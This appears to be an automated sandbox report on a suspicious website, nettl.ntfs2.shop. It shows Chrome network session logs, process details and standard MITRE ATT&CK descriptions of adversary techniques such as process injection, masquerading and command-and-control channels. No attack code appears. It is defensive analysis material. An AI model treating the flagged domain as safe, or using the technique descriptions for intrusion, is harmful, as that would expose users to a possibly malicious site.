2025-03-13 17:12:49 UTC	1282	IN	Data Raw: 57 26 18 f1 30 22 0d a0 51 8f 45 d1 13 31 cb c3 08 77 99 e1 b1 70 af 0f a4 29 52 21 9a 65 13 18 06 08 44 1e 44 33 3d 16 c3 ab f4 89 c2 7d 06 42 64 f6 92 63 2e 80 bc a5 2b a5 31 53 b8 29 d3 61 57 7c 13 4b c5 fb 54 31 17 58 6a 81 e7 29 ad 30 65 cd dd dd d4 5f 3e e8 81 cb ed 64 2e 85 63 2d 23 26 52 05 a8 15 9e 19 a6 fa dd d6 dc dc 9c a9 10 a9 00 a3 11 1e 91 99 10 15 01 46 33 3c 22 b3 20 2a 0e 63 78 4a 57 91 0c 8f 48 ad 60 20 15 8d 89 62 06 f6 f5 9e 41 4a 6a 32 75 6d 5c 34 c0 23 e2 c9 44 b5 a1 0f b5 0f a4 41 8c 26 78 44 6a 10 59 e3 46 d5 b7 b0 14 62 34 c2 23 52 82 c8 33 e8 e6 fa 9d 08 6f 89 2b 1a c4 b3 3c 58 2c ae 99 c8 e5 91 2b 00 f8 ab 34 91 ac c0 6c 00 63 a3 be e0 3d b3 c4 e5 ca 45 83 89 ce 2b 5e b3 9d 48 d3 4c 24 d2 fc 5f ad e2 35 db c5 d2 3c 13 89 56 88 Data Ascii: W&0"QE1wp)R!eDD3=}Bdc.+1S)aW\|KT1Xj)0e_>d.c-#&RF3<" *cxJWH` bAJj2um\4#DA&xDjYFb4#R3o+<X,+4lc=E+^HL$_5<V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49775	192.0.73.2	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:51 UTC	431	OUT	GET /avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:51 UTC	451	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 13 Mar 2025 17:12:51 GMT Content-Type: image/png Content-Length: 2651 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Thu, 13 Mar 2025 17:17:51 GMT Cache-Control: max-age=300 X-nc: HIT dfw 3 Alt-Svc: h3=":443"; ma=86400
2025-03-13 17:12:51 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0a 0d 49 44 41 54 78 9c ed 9c 6d 50 54 d7 19 c7 ff b0 99 5d 20 30 4d 79 d1 11 b3 c2 16 0b 71 5c c7 5d 83 1a 4c c2 58 29 a9 71 ea a4 93 4c 22 60 88 2b f6 2d a2 d4 26 25 54 71 3a 38 51 a6 0c 83 93 c9 84 62 cd f0 92 a1 02 35 b5 ad 69 87 0f 08 c1 f7 ce b4 29 8b 05 c7 c1 89 85 74 03 b3 29 60 8c 38 5a 76 c2 dc 7e 30 67 bd 7b ef 3d f7 9c fb a2 d9 5d fd cf f0 c1 bb cf 9e 7b ef cf e7 9e 7b ce f3 3f 7b 62 16 a4 3a 05 98 20 97 db 89 d7 2b 5f 85 cf 37 81 3d 55 07 cc 68 d2 74 d5 d6 55 c3 6e 4f 47 43 7d 13 06 bd c3 a6 b4 f9 90 d1 06 08 b8 82 c2 fc 90 e3 e1 06 b1 b6 ae 1a 9e b2 22 00 40 41 61 3e fa 4e 9c Data Ascii: PNGIHDRPPpHYs+IDATxmPT] 0Myq\]LX)qL"`+-&%Tq:8Qb5i)t)`8Zv~0g{=]{{?{b: +_7=UhtUnOGC}"@Aa>N
2025-03-13 17:12:51 UTC	1282	IN	Data Raw: 57 26 18 f1 30 22 0d a0 51 8f 45 d1 13 31 cb c3 08 77 99 e1 b1 70 af 0f a4 29 52 21 9a 65 13 18 06 08 44 1e 44 33 3d 16 c3 ab f4 89 c2 7d 06 42 64 f6 92 63 2e 80 bc a5 2b a5 31 53 b8 29 d3 61 57 7c 13 4b c5 fb 54 31 17 58 6a 81 e7 29 ad 30 65 cd dd dd d4 5f 3e e8 81 cb ed 64 2e 85 63 2d 23 26 52 05 a8 15 9e 19 a6 fa dd d6 dc dc 9c a9 10 a9 00 a3 11 1e 91 99 10 15 01 46 33 3c 22 b3 20 2a 0e 63 78 4a 57 91 0c 8f 48 ad 60 20 15 8d 89 62 06 f6 f5 9e 41 4a 6a 32 75 6d 5c 34 c0 23 e2 c9 44 b5 a1 0f b5 0f a4 41 8c 26 78 44 6a 10 59 e3 46 d5 b7 b0 14 62 34 c2 23 52 82 c8 33 e8 e6 fa 9d 08 6f 89 2b 1a c4 b3 3c 58 2c ae 99 c8 e5 91 2b 00 f8 ab 34 91 ac c0 6c 00 63 a3 be e0 3d b3 c4 e5 ca 45 83 89 ce 2b 5e b3 9d 48 d3 4c 24 d2 fc 5f ad e2 35 db c5 d2 3c 13 89 56 88 Data Ascii: W&0"QE1wp)R!eDD3=}Bdc.+1S)aW\|KT1Xj)0e_>d.c-#&RF3<" *cxJWH` bAJj2um\4#DA&xDjYFb4#R3o+<X,+4lc=E+^HL$_5<V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49780	35.190.80.1	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:13:00 UTC	539	OUT	OPTIONS /report/v4?s=VhMOXpIeUrMb%2BmcZxULs%2BudRSKrIRO2eqsG5cVc71Ju9QVPpyWFYskOVel8wR2Cll8RLNYOtFv4s7iIHdovKPJMq1f3OnHl9hiibXa3NpJgaa1MhmGJVWFs3O0NIykaY81sZ HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nettl.ntfs2.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:13:01 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 17:13:00 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49781	35.190.80.1	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:13:02 UTC	514	OUT	POST /report/v4?s=VhMOXpIeUrMb%2BmcZxULs%2BudRSKrIRO2eqsG5cVc71Ju9QVPpyWFYskOVel8wR2Cll8RLNYOtFv4s7iIHdovKPJMq1f3OnHl9hiibXa3NpJgaa1MhmGJVWFs3O0NIykaY81sZ HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 512 Content-Type: application/reports+json Origin: https://nettl.ntfs2.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:13:02 UTC	512	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 35 34 36 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 33 36 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 30 2e 34 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 74 74 6c 2e 6e 74 66 73 32 2e 73 68 6f 70 2f Data Ascii: [{"age":55461,"body":{"elapsed_time":3362,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.190.49","status_code":405,"type":"http.error"},"type":"network-error","url":"https://nettl.ntfs2.shop/
2025-03-13 17:13:03 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 17:13:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	2
Start time:	13:11:43
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:11:47
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2240,i,4676294954928455432,3336123572810525567,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:11:53
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://nettl.ntfs2.shop/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Windows Analysis Report
https://nettl.ntfs2.shop/